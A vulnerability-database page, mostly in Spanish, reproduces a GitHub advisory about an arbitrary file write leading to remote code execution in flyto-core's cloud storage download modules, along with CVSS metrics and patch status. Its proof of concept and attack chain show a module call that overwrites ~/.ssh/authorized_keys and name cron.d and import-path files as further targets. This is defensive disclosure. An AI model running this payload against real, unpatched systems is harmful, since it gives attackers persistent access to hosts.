llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-HMQ9-XW4W-7PPC

Arbitrary file write via unvalidated destination_path in cloud.{azure,gcs,aws_s3}.download modules (RCE)

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición109 dDesde la divulgación, 2 ago 2026, 12:11 p. m.
Detección108 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.26.11
Monitoreo
Detectada +1
2 ago 26
18 nov 26
20 nov 26
2 ago 26
30 ago 26
26 sept 26
23 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HMQ9-XW4W-7PPC divulgada · CVSS 9.9 (GitHub)
Remediación Parche 2.26.11 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary
The cloud storage download modules (`cloud.azure.download`, `cloud.gcs.download`, `cloud.aws_s3.download`, `aws.s3.download`) write a fetched object to a fully caller-controlled `destination_path` with no path validation (`validate_path_with_env_config` absent from all four files). Because the attacker also supplies their own storage credentials and object name, the content is fully attacker-controlled and the destination path is arbitrary — yielding arbitrary file write outside the sandbox and thus remote code execution.

## Root Cause
`src/core/modules/third_party/cloud/azure.py`: `os.makedirs(dirname(destination_path))` at :345-347 then `open(destination_path,'wb').write(blob.download_blob().readall())` at :357-358. `cloud.azure.download` even self-tags `path_restricted` in its schema while enforcing nothing. Same primitive in `cloud/gcs.py` (`download_to_filename`), `cloud/storage.py` (aws_s3 `s3.download_file`), and `cloud/aws/s3_download.py:132-134`. `grep -c validate_path_with_env_config` = 0 in all four files.

This is the same arbitrary-write class as advisories `GHSA-2956-977x-2w3r` and `GHSA-p34x-fmph-9fjx`, but the cloud-storage module family is in NEITHER enumeration (GHSA-2956-977x-2w3r = image.*/document.*/browser.pagination; GHSA-p34x-fmph-9fjx = data.csv.write/data.json_to_csv/file.copy/file.move + a "data.*/file.*/report-writer" catch-all that does not reach `cloud.*`). No path guard exists on HEAD.

## Impact
Authenticated (PR:L) arbitrary file write with attacker-controlled content at an attacker-chosen absolute path outside `FLYTO_SANDBOX_DIR`. Overwriting `~/.ssh/authorized_keys`, a `cron.d` entry, or a `.pth`/`.py` on the import path yields RCE. Scope Changed (escapes the module sandbox to the host filesystem); C:H/I:H/A:H.

## Proof of Concept
`cloud.azure.download {"connection_string":"<attacker-owned account>", "container":"c", "blob_name":"payload", "destination_path":"/home/app/.ssh/authorized_keys"}` → the attacker's blob bytes are written verbatim to the SSH authorized_keys file.

## Attack Chain
1. Entry: authed execute_module `cloud.azure.download {connection_string:"<attacker acct>", container:"c", blob_name:"payload", destination_path:"/home/app/.ssh/authorized_keys"}`.
Guard: schema tag `path_restricted`. Bypass proof: `grep validate_path_* azure.py` = 0; `destination_path` is used verbatim.
2. Sink: `os.makedirs(dirname(destination_path))` (:345-347) then `open(destination_path,'wb').write(blob.readall())` (:357-358). aws.s3.download analog: `client.download_file(bucket,key,output_path)` at s3_download.py:134 after `os.makedirs` at :132.
3. Impact: attacker's blob bytes written to attacker-chosen absolute path → overwrite authorized_keys / cron.d / import-path .py → RCE.

## Bypass Evidence
`grep -c validate_path_with_env_config` = 0 for azure.py, gcs.py, storage.py, aws/s3_download.py. The p34x-fixed sibling `csv_write` shows guard count 2. Cloud family is in neither GHSA-2956-977x-2w3r nor GHSA-p34x-fmph-9fjx enumeration.

## Affected Versions
`flyto-core <= 2.26.10` (sinks present on the v2.26.10 release tag).

## Suggested Fix
Call `validate_path_with_env_config(destination_path)` (the guard already used by the p34x-fixed write modules) in all four cloud download handlers before `os.makedirs`/`open`, confining writes to the configured sandbox directory.

---
Reported by zx (Jace) — GitHub: @manus-use

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.26.10
2.26.10
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.26.11 0 d 2.41.0 no afectada
Versiones corregidas2.26.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-hmq9-xw4w-7ppc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.